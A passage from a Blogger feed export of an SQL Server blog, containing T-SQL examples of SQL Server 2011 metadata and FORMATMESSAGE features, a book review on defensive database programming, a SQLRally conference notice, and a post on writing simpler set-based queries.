style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;'2010-01'&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;120.50&lt;/span&gt;&lt;span style="color:gray"&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (&lt;/span&gt;&lt;span style="color:red"&gt;'2010-02'&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;214.00&lt;/span&gt;&lt;span style="color:gray"&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (&lt;/span&gt;&lt;span style="color:red"&gt;'2010-03'&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;109.10&lt;/span&gt;&lt;span style="color:gray"&gt;)) &lt;/span&gt;&lt;span style="color:blue"&gt;AS &lt;/span&gt;&lt;span style="color:black"&gt;T&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;sale_month&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;sale_amount&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT &lt;/span&gt;&lt;span style="color:magenta"&gt;SUM&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;sale_amount&lt;/span&gt;&lt;span style="color:gray"&gt;) &lt;/span&gt;&lt;span style="color:blue"&gt;AS &lt;/span&gt;&lt;span style="color:black"&gt;total_sales&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM &lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:blue"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;'2010-01'&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;120.50&lt;/span&gt;&lt;span style="color:gray"&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (&lt;/span&gt;&lt;span style="color:red"&gt;'2010-02'&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;214.00&lt;/span&gt;&lt;span style="color:gray"&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (&lt;/span&gt;&lt;span style="color:red"&gt;'2010-03'&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;109.10&lt;/span&gt;&lt;span style="color:gray"&gt;)) &lt;/span&gt;&lt;span style="color:blue"&gt;AS &lt;/span&gt;&lt;span style="color:black"&gt;T&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;sale_month&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;sale_amount&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black"&gt;GO&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:green"&gt;-- replacement for SET FMTONLY&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;EXECUTE &lt;/span&gt;&lt;span style="color:darkred"&gt;sp_describe_first_result_set &lt;/span&gt;&lt;span style="color:red"&gt;N'CalculateSales'&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:green"&gt;/*&lt;br /&gt;&lt;br /&gt;abbreviated results&lt;br /&gt;&lt;br /&gt;is_hidden column_ordinal name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; system_type_name&amp;nbsp;&amp;nbsp;&lt;br /&gt;--------- -------------- ------------ ----------------- &lt;br /&gt;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sale_month&amp;nbsp;&amp;nbsp; varchar(7)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sale_amount&amp;nbsp;&amp;nbsp;numeric(5,2)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;-- use DMV&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT &lt;/span&gt;&lt;span style="color:black"&gt;name&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;system_type_name &lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM &lt;/span&gt;&lt;span style="color:black"&gt;sys.dm_exec_describe_first_result_set&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;N'CalculateSales'&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;1&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;1&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;CREATE TABLE &lt;/span&gt;&lt;span style="color:black"&gt;Foo &lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black"&gt;keycol &lt;/span&gt;&lt;span style="color:blue"&gt;INT &lt;/span&gt;&lt;span style="color:gray"&gt;NOT NULL &lt;/span&gt;&lt;span style="color:blue"&gt;PRIMARY KEY&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black"&gt;datacol &lt;/span&gt;&lt;span style="color:blue"&gt;CHAR&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;10&lt;/span&gt;&lt;span style="color:gray"&gt;));&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;EXEC &lt;/span&gt;&lt;span style="color:darkred"&gt;sp_describe_undeclared_parameters &lt;/span&gt;&lt;span style="color:red"&gt;N'SELECT datacol FROM Foo WHERE keycol = @x'&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:green"&gt;/*&lt;br /&gt;&lt;br /&gt;abbreviated results&lt;br /&gt;&lt;br /&gt;parameter_ordinal name&amp;nbsp;&amp;nbsp;suggested_system_type_name&amp;nbsp;&amp;nbsp;&lt;br /&gt;----------------- ----- ---------------------------- &lt;br /&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; @x&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black"&gt;GO&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;DROP TABLE &lt;/span&gt;&lt;span style="color:black"&gt;Foo&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;DROP PROCEDURE &lt;/span&gt;&lt;span style="color:black"&gt;CalculateSales&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;/span&gt;&lt;/code&gt; &lt;/br/&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Bonus feature (maybe):&lt;/strong&gt; &lt;a href="http://msdn.microsoft.com/en-us/library/ms186788(SQL.110).aspx" target="_blank"&gt;FORMATMESSAGE&lt;/a&gt;     &lt;br /&gt;&lt;strong&gt;Application use:&lt;/strong&gt; format messages (C/C++ sprint style)     &lt;br /&gt;&lt;strong&gt;Comments:&lt;/strong&gt; undocumented feature allows to format message that is not in sys.messages &lt;br /&gt;&lt;table cellspacing="0" cellpadding="0" width="100%" style="border-bottom: #aaa 1px dotted;"&gt;&lt;tr&gt;&lt;td style="color: #aaa; border-bottom: #aaa 1px dotted;"&gt;Listing 6: FORMATMESSAGE example&lt;/td&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:blue"&gt;SELECT &lt;/span&gt;&lt;span style="color:magenta"&gt;FORMATMESSAGE&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;'There are %d products in department %s.'&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;10&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:red"&gt;'remodeling'&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:green"&gt;/*&lt;br /&gt;&lt;br /&gt;There are 10 products in department remodeling.&lt;br /&gt;&lt;br /&gt;*/&lt;/span&gt;&lt;/code&gt; &lt;/br/&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-3026255499915968988?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/3026255499915968988/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=3026255499915968988' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/3026255499915968988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/3026255499915968988'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2011/02/t-sql-enhancements-in-sql-server-2011.html' title='T-SQL Enhancements in SQL Server 2011 (CTP1)'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-6707688703522815014</id><published>2011-01-28T13:00:00.002-05:00</published><updated>2011-01-28T13:02:26.536-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql'/><category scheme='http://www.blogger.com/atom/ns#' term='best practices'/><category scheme='http://www.blogger.com/atom/ns#' term='books'/><title type='text'>Defensive Database Programming</title><content type='html'>&lt;p&gt;&lt;span style="padding-bottom: 0px; line-height: 0.9em; margin: -0.28em 0px 0px; padding-left: 0px; padding-right: 0.05em; display: block; float: left; color: #aaa; font-size: 560%; padding-top: 0px"&gt;D&lt;/span&gt;efensive programming is a much avoided topic by developers. Rushing to deliver features is almost always prioritized higher than spending time to defensively program code for robustness. Especially in the database world where this concept is much misunderstood. This is why it was real pleasure to read Alex Kuznetsov's book &amp;quot;Defensive Database Programming with SQL Server&amp;quot;. &lt;/p&gt;&lt;p&gt;Alex deals with this &amp;quot;inconvenient&amp;quot; topic using very practical approach. Instead of filling pages with theory and reasons why defensive programming is good, he dives right into simple examples from the daily work of every database professional. We have all seen (and ignored) many of these issues, but demonstrating how this affects our code and how simple it is to avoid these problems makes this book shine. It is not a complete catalog of defensive techniques, rather a good collection of examples to illustrate the need for defensive coding and applicable methods. It builds the mindset to think proactively and create robust solutions.&amp;#160; &lt;/p&gt;&lt;p&gt;The book includes coverage of the following topics: basic defensive technique, code vulnerabilities, changes to database objects, upgrades, reusing code, data integrity and constraints, error handling, concurrency.    &lt;br /&gt;&amp;#160; &lt;br /&gt;In many ways this book reminds me of the classic work by Donald Norman on designing everyday things (The Design of Everyday Things), which in similar manner demonstrates how defensive design can prevent human errors.&lt;/p&gt;&lt;p&gt;In conclusion, &amp;quot;Defensive Database Programming with SQL Server&amp;quot; is a wonderful addition to the library of every database professional. It should be required reading for all SQL practitioners.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-6707688703522815014?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/6707688703522815014/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=6707688703522815014' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/6707688703522815014'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/6707688703522815014'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2011/01/defensive-database-programming.html' title='Defensive Database Programming'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-3410935568166026527</id><published>2010-10-27T10:53:00.006-04:00</published><updated>2010-10-27T11:01:23.997-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQLSaturday'/><category scheme='http://www.blogger.com/atom/ns#' term='SQLRally'/><category scheme='http://www.blogger.com/atom/ns#' term='PASS'/><title type='text'>SQLRally</title><content type='html'>&lt;p&gt;&lt;span style="padding-bottom: 0px; line-height: 0.9em; margin: -0.28em 0px 0px; padding-left: 0px; padding-right: 0.05em; display: block; float: left; color: #aaa; font-size: 560%; padding-top: 0px"&gt;S&lt;/span&gt;&lt;/p&gt;&lt;p&gt;QLRally is the new regional &lt;a href="http://www.sqlpass.org/" target="_blank"&gt;PASS&lt;/a&gt; conference hosted in Orlando. It will happen on May 11- May 13 2011 and brings two full days of technical training and an optional day of pre-conference seminars. If you have been to one of the PASS &lt;a href="http://www.sqlsaturday.com/" target="_blank"&gt;SQLSaturday&lt;/a&gt; events then you can expect the same atmosphere of great networking with SQL Server peers in casual environment. SQLRally extends the SQLSaturday format to bring it closer to the &lt;a href="http://www.sqlpass.org/summit/" target="_blank"&gt;PASS Summit&lt;/a&gt; experience. You can expect more in depth coverage of SQL Server and professional development topics, as well as great variety of expert areas. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Currently the finalist abstracts for the pre-conference seminars are up for voting by the SQL Server community. My abstract “Maximize Your SQL Server 2008 Coding Skills” has been selected in the final three for the Developer track. &lt;/p&gt;Here are the links to view all finalists in the different tracks: &lt;br /&gt;&lt;br /&gt;BI Sessions: &lt;br /&gt;&lt;a href="http://www.sqlpass.org/sqlrally/2011/PreConsforVotingBI.aspxDBA" target=" blank"&gt;http://www.sqlpass.org/sqlrally/2011/PreConsforVotingBI.aspxDBA&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;DBA Sessions: &lt;br /&gt;&lt;a href="http://www.sqlpass.org/sqlrally/2011/PreConsforVotingDba.aspxDeveloper" target=" blank"&gt;http://www.sqlpass.org/sqlrally/2011/PreConsforVotingDba.aspxDeveloper&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Developer Sessions: &lt;br /&gt;&lt;a href="http://www.sqlpass.org/sqlrally/2011/PreConsforVotingDev.aspxMisc" target=" blank"&gt;http://www.sqlpass.org/sqlrally/2011/PreConsforVotingDev.aspxMisc&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Misc Sessions: &lt;br /&gt;&lt;a href="http://www.sqlpass.org/sqlrally/2011/PreConsforVotingMisc.aspx" target=" blank"&gt;http://www.sqlpass.org/sqlrally/2011/PreConsforVotingMisc.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Voting page: &lt;br /&gt;&lt;a href="http://www.zoomerang.com/Survey/WEB22BD59JCQBT" target="_blank"&gt;http://www.zoomerang.com/Survey/WEB22BD59JCQBT&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;All finalist abstracts have excellent content. Regardless of which one you vote for it will be a great conference to attend. For $299 it is a steal!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-3410935568166026527?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/3410935568166026527/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=3410935568166026527' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/3410935568166026527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/3410935568166026527'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2010/10/sqlrally.html' title='SQLRally'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-671414577054869502</id><published>2010-08-13T17:35:00.000-04:00</published><updated>2010-08-13T17:35:57.822-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><category scheme='http://www.blogger.com/atom/ns#' term='set based'/><category scheme='http://www.blogger.com/atom/ns#' term='style'/><title type='text'>The Power of Simplicity</title><content type='html'>&lt;p&gt;&lt;span style="padding-bottom: 0px; line-height: 0.9em; margin: -0.28em 0px 0px; padding-left: 0px; padding-right: 0.05em; display: block; float: left; color: #aaa; font-size: 560%; padding-top: 0px"&gt;S&lt;/span&gt;olving a problem very often results in unnecessary complex solutions. One of the first lessons I learned from my math teacher was to scrap any solution that exceeds a page. She would urge me to start all over and look for simpler way to resolve it. In her world there was always a short and simple solution, it was only a matter of seeing it.     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; I find this rule applicable to any type of problem. Only the dimension of the page size changes according to the subject matter. Many believe that finding the simpler and better solution is to “think outside the box”. But in my opinion it is exactly the opposite – to think inside the box. Know the fundamentals of your area of expertise, systematically apply them, and you will find a simple and elegant solution! Isaac Newton did not just discover the gravity when an apple fell on his head (if at all it did). It took him 20 years of hard work to explain gravity!     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; In the world of SQL it drills down to deep understanding of the set based nature of SQL and coming up with solution based on that. Thinking like a procedural programmer will not help.&lt;/p&gt;&lt;p&gt;What are the rules to simplicity? There are no rules! I like to use the following quotes as guidelines:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;&lt;span style="color: #aaa; font-size: 200%"&gt;“&lt;/span&gt;The simplest way to achieve simplicity is through thoughtful reduction.&lt;span style="color: #aaa; font-size: 200%"&gt;”&lt;/span&gt;         &lt;br /&gt;&amp;#160;&amp;#160; John Maeda, The Laws of Simplicity&lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;em&gt;&lt;span style="color: #aaa; font-size: 200%"&gt;“&lt;/span&gt;Make everything as simple as possible, but not simpler.&lt;span style="color: #aaa; font-size: 200%"&gt;”&lt;/span&gt;         &lt;br /&gt;&amp;#160;&amp;#160; Albert Einstein&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Let’s illustrate this with one example in SQL. In out sample scenario the request is to retrieve a list of customers who always order the exact same product (regardless of what the product is).&amp;#160; This is a very valid business problem because you may want to send targeted coupons to customers who always buy the same products.    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; There are different ways to solve this problem and Listing 1 shows one method. It is very close to describing the solution in plain English: select all customers where the customer has no other orders with different product SKU.&lt;/p&gt;&lt;p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;         &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 1&lt;/td&gt;       &lt;/tr&gt;&lt;tr&gt;         &lt;td&gt;           &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: blue"&gt;SELECT DISTINCT &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr                &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Orders &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;O                &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;WHERE &lt;/span&gt;&lt;span style="color: gray"&gt;NOT EXISTS(&lt;/span&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: gray"&gt;*                &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Orders &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;O1                &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;WHERE &lt;/span&gt;&lt;span style="color: black"&gt;O1.customer_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;O.customer_nbr                &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;O1.sku &lt;/span&gt;&lt;span style="color: gray"&gt;&amp;lt;&amp;gt; &lt;/span&gt;&lt;span style="color: black"&gt;O.sku&lt;/span&gt;&lt;span style="color: gray"&gt;);&lt;/span&gt;               &lt;br /&gt;&lt;/code&gt;            &lt;br /&gt;&lt;/td&gt;       &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;Is this the simplest way to solve the problem? This query is set based but still in a way mimics procedural thinking – examine all other customer orders and check that there is no other order with different product SKU.    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; If you think about the set of all customer orders, you will notice that these that we need have repeating attribute values, that is the same product SKU. Applying the MIN and MAX aggregate functions on that attribute will return the same value. Then here is our simplified solution: retrieve all customers that have equal MIN and MAX product SKU on all orders. Listing 2 shows the query.&lt;/p&gt;&lt;p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;         &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 2&lt;/td&gt;       &lt;/tr&gt;&lt;tr&gt;         &lt;td&gt;           &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr                &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Orders                &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;GROUP BY &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr                &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;HAVING &lt;/span&gt;&lt;span style="color: magenta"&gt;MIN&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;sku&lt;/span&gt;&lt;span style="color: gray"&gt;) &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: magenta"&gt;MAX&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;sku&lt;/span&gt;&lt;span style="color: gray"&gt;);                &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;            &lt;br /&gt;&lt;/td&gt;       &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;This is more elegant and simpler solution!&amp;#160; Thinking more about the set of all customer orders you will notice that the distinct count of product SKUs is 1 for the customers in the needed result set. That brings us to another elegant solution:&lt;/p&gt;&lt;p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;         &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 3&lt;/td&gt;       &lt;/tr&gt;&lt;tr&gt;         &lt;td&gt;           &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr                &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Orders                &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;GROUP BY &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr                &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;HAVING &lt;/span&gt;&lt;span style="color: magenta"&gt;COUNT&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: blue"&gt;DISTINCT &lt;/span&gt;&lt;span style="color: black"&gt;sku&lt;/span&gt;&lt;span style="color: gray"&gt;) &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;1&lt;/span&gt;&lt;span style="color: gray"&gt;;                &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;            &lt;br /&gt;&lt;/td&gt;       &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;Pretty and simple, right? Try it next time when you see that two page query!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-671414577054869502?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 